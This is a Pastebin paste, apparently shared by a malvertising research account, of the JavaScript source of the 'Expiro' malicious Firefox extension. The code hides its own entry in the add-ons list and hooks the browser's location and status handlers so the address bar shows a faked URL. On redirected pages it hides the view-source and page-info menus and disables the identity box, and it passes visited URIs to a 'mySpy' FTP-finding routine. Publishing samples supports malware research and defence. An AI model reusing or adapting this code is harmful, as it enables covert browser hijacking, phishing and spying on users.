Advertisement
StopMalvertising

Expiro Firefox Extension - iqakqhfaga.js

Mar 30th, 2014
276
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var ProgressListener = {
  2.     QueryInterface: function (a) {
  3.         if (a["equals"](Ci["nsIWebProgressListener"]) || a["equals"](Ci["nsISupports"])) {
  4.             return this
  5.         }
  6.         throw Cr["NS_NOINTERFACE"]
  7.     },
  8.     onLinkIconAvailable: function (a) {},
  9.     onProgressChange: function (c, a, e, f, d, b) {},
  10.     onProgressChange64: function (c, a, e, f, d, b) {},
  11.     onStateChange: function (s, c, g, j) {
  12.         var u = s["DOMWindow"]["top"]["document"];
  13.         const a = Ci["nsIWebProgressListener"];
  14.         var d = u["getElementById"]("addons-page");
  15.         var o = u["getElementById"]("addon-list");
  16.         if ((d != null) && (o != null)) {
  17.             var l = o["getAttribute"]("jihad");
  18.             if (l != "y") {
  19.                 var f = o["childNodes"];
  20.                 for (var q = 0; q < f["length"]; q++) {
  21.                     if (f[q].getAttribute("name") == ".") {
  22.                         f[q].hidden = true
  23.                     }
  24.                 }
  25.                 o["addEventListener"]("DOMNodeInserted", function b(e) {
  26.                     var w = e["relatedNode"];
  27.                     var x = w["childNodes"];
  28.                     for (var v = 0; v < x["length"]; v++) {
  29.                         if (x[v].getAttribute("name") == ".") {
  30.                             x[v].hidden = true
  31.                         }
  32.                     }
  33.                     w["setAttribute"]("jihad", "y")
  34.                 }, false)
  35.             }
  36.         }
  37.         const h = Ci["nsIChannel"];
  38.         if (g & a["STATE_STOP"]) {
  39.             var m = "";
  40.             var n = false;
  41.             if (c != null) {
  42.                 try {
  43.                     var k = c["QueryInterface"](Ci["nsIHttpChannel"]);
  44.                     if (k["responseStatus"]) {
  45.                         var p = k["responseStatus"];
  46.                         n = (p == 404 || p == 400 || p == 403 || p == 414 || p == 408 || p == 500 || p == 502)
  47.                     }
  48.                 } catch (r) {}
  49.                 if (c instanceof h || "URI" in c) {
  50.                     m = c["URI"]["spec"];
  51.                     mySpy["findFtp"](c["URI"])
  52.                 }
  53.             }
  54.             var t = gBrowser["getBrowserForDocument"](u);
  55.             if (t) {
  56.                 if ("redirecting" in t) {
  57.                     if (j != Components["results"]["NS_OK"] || n == true) {
  58.                         if (t["redirecting"]["redirectingURL"] == m) {
  59.                             t["redirecting"]["HostUnreachable"] = true;
  60.                             try {
  61.                                 t["loadURI"](t["redirecting"]["originalURL"], t["redirecting"]["aRequestOrigin"], null)
  62.                             } catch (r) {}
  63.                         }
  64.                     }
  65.                 }
  66.             }
  67.         }
  68.     },
  69.     onLocationChange: function (c, a, b) {},
  70.     onStatusChange: function (b, a, d, c) {},
  71.     onSecurityChange: function (b, a, c) {},
  72.     onUpdateCurrentBrowser: function (a, d, c, b) {}
  73. };
  74. var BrowserHook = {
  75.     hideinfo: false,
  76.     maxattempt: 20,
  77.     timerint: 0,
  78.     old_imgageonlick: null,
  79.     imageobj: false,
  80.     keysourceobj: false,
  81.     onLocationChange_hook: function (g, i, b) {
  82.         var h = b;
  83.         if (typeof (b) != "undefined") {
  84.             if (b != null) {
  85.                 if (b["scheme"] == "http" || b["scheme"] == "https") {
  86.                     var k = g["DOMWindow"]["top"]["document"];
  87.                     var c = gBrowser["getBrowserForDocument"](k);
  88.                     var l = s_utils["SpyXPCOM"]["FindRedirectSign"](b["spec"], false);
  89.                     if (l) {
  90.                         BrowserHook["hideinfo"] = true;
  91.                         BrowserHook["HideElem"](["context-viewinfo", "context-metadata", "context-viewsource", "context-sep-properties", "menu_pageInfo", "menu_pageSource"], true);
  92.                         try {
  93.                             if (BrowserHook["imageobj"]) {
  94.                                 BrowserHook["imageobj"]["onclick"] = function () {}
  95.                             }
  96.                             if (BrowserHook["keysourceobj"]) {
  97.                                 BrowserHook["keysourceobj"]["setAttribute"]("id", "View:PageSourceHOOKED")
  98.                             }
  99.                         } catch (d) {}
  100.                         var n;
  101.                         if ("redirecting" in c) {
  102.                             n = b["spec"]["replace"](l["toreplace"], c["redirecting"]["notfakeURL"]);
  103.                             if (c["redirecting"]["https"]) {
  104.                                 var a = n["indexOf"]("//");
  105.                                 var m = n["indexOf"]("http");
  106.                                 if (m != -1 && m < a) {
  107.                                     n = n["replace"]("http", "https")
  108.                                 }
  109.                             }
  110.                         } else {
  111.                             n = b["spec"]["replace"](l["toreplace"], l["tofindstr"])
  112.                         }
  113.                         n = n["replace"](/??&?hostid=.*/, "");
  114.                         var j = Components["classes"][mo + "network/io-service;1"]["getService"](Ci["nsIIOService"]);
  115.                         h = j["newURI"](n, null, null)
  116.                     } else {
  117.                         BrowserHook["hideinfo"] = false;
  118.                         BrowserHook["HideElem"](["menu_pageInfo", "menu_pageSource"], false);
  119.                         if (BrowserHook["imageobj"]) {
  120.                             BrowserHook["imageobj"]["onclick"] = BrowserHook["old_imgageonlick"]
  121.                         }
  122.                         if (BrowserHook["keysourceobj"]) {
  123.                             BrowserHook["keysourceobj"]["setAttribute"]("id", "View:PageSource")
  124.                         }
  125.                     }
  126.                 }
  127.             }
  128.         }
  129.         var f = Array["prototype"]["slice"]["call"](arguments);
  130.         f[2] = h;
  131.         return window["XULBrowserWindow"]["onLocationChange_old"]["apply"](this, f)
  132.     },
  133.     onStatusChange_hook: function (b, a, f, d) {
  134.         try {
  135.             if (!("redirecting" in gBrowser["selectedBrowser"])) {
  136.                 if (s_utils["CurrentServer"]) {
  137.                     if (d["indexOf"](s_utils["CurrentServer"]) != -1) {
  138.                         return
  139.                     }
  140.                 }
  141.                 window["XULBrowserWindow"]["onStatusChange_old"]["apply"](this, arguments)
  142.             }
  143.         } catch (c) {}
  144.     },
  145.     updateStatusField_hook: function () {
  146.         try {
  147.             if (!("redirecting" in gBrowser["selectedBrowser"])) {
  148.                 window["XULBrowserWindow"]["updateStatusField_old"]["apply"](this, arguments)
  149.             }
  150.         } catch (a) {}
  151.     },
  152.     onDOMAttrModified: function (a) {
  153.         if (BrowserHook["hideinfo"] && a["attrName"] == "hidden") {
  154.             window.setTimeout("BrowserHook.HideElem(["
  155.                 context - viewinfo ","
  156.                 context - metadata ","
  157.                 context - viewsource ","
  158.                 context - sep - properties "],true);", 0)
  159.         }
  160.     },
  161.     HideElem: function (a, c) {
  162.         for (var b = 0; b < a["length"]; b++) {
  163.             var d = document["getElementById"](a[b]);
  164.             if (d != "undefined") {
  165.                 if (d) {
  166.                     if ("hidden" in d) {
  167.                         if (c) {
  168.                             d["setAttribute"]("hidden", true)
  169.                         } else {
  170.                             d["removeAttribute"]("hidden")
  171.                         }
  172.                     }
  173.                 }
  174.             }
  175.         }
  176.     },
  177.     InitOnLoad: function () {
  178.         try {
  179.             if (Application["version"] > 4) {
  180.                 gBrowser["addProgressListener"](ProgressListener)
  181.             } else {
  182.                 gBrowser["addProgressListener"](ProgressListener, Ci["nsIWebProgress"]["STATE_IS_NETWORK"])
  183.             }
  184.             var a = document["getElementById"]("context-viewinfo");
  185.             a["addEventListener"]("DOMAttrModified", BrowserHook["onDOMAttrModified"], false);
  186.             var a = document["getElementById"]("context-metadata");
  187.             a["addEventListener"]("DOMAttrModified", BrowserHook["onDOMAttrModified"], false)
  188.         } catch (b) {}
  189.     },
  190.     InitHook: function () {
  191.         try {
  192.             if (window["XULBrowserWindow"] == "undefined" || gBrowser == "undefined") {
  193.                 if (BrowserHook["maxattempt"]--) {
  194.                     window["setTimeout"](BrowserHook["InitHook"], BrowserHook["timerint"])
  195.                 }
  196.                 return
  197.             }
  198.             var b = window["XULBrowserWindow"];
  199.             if (b["onLocationChange"] != BrowserHook["onLocationChange_hook"]) {
  200.                 b["onLocationChange_old"] = b["onLocationChange"];
  201.                 b["onLocationChange"] = BrowserHook["onLocationChange_hook"]
  202.             }
  203.             if (b["onStatusChange"] != BrowserHook["onStatusChange_hook"]) {
  204.                 b["onStatusChange_old"] = b["onStatusChange"];
  205.                 b["onStatusChange"] = BrowserHook["onStatusChange_hook"]
  206.             }
  207.             if (b["updateStatusField"] != BrowserHook["updateStatusField_hook"]) {
  208.                 b["updateStatusField_old"] = b["updateStatusField"];
  209.                 b["updateStatusField"] = BrowserHook["updateStatusField_hook"]
  210.             }
  211.             try {
  212.                 BrowserHook["imageobj"] = document["getElementById"]("identity-box");
  213.                 BrowserHook["keysourceobj"] = document["getElementById"]("View:PageSource");
  214.                 BrowserHook["old_imgageonlick"] = BrowserHook["imageobj"]["onclick"]
  215.             } catch (a) {
  216.                 BrowserHook["imageobj"] = false;
  217.                 BrowserHook["keysourceobj"] = false
  218.             }
  219.         } catch (a) {
  220.             if (BrowserHook["maxattempt"]--) {
  221.                 window["setTimeout"](BrowserHook["InitHook"], BrowserHook["timerint"])
  222.             }
  223.         }
  224.     }
  225. };
  226. window["setTimeout"](BrowserHook["InitHook"], BrowserHook["timerint"]);
  227. window["addEventListener"]("load", BrowserHook["InitOnLoad"], false);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement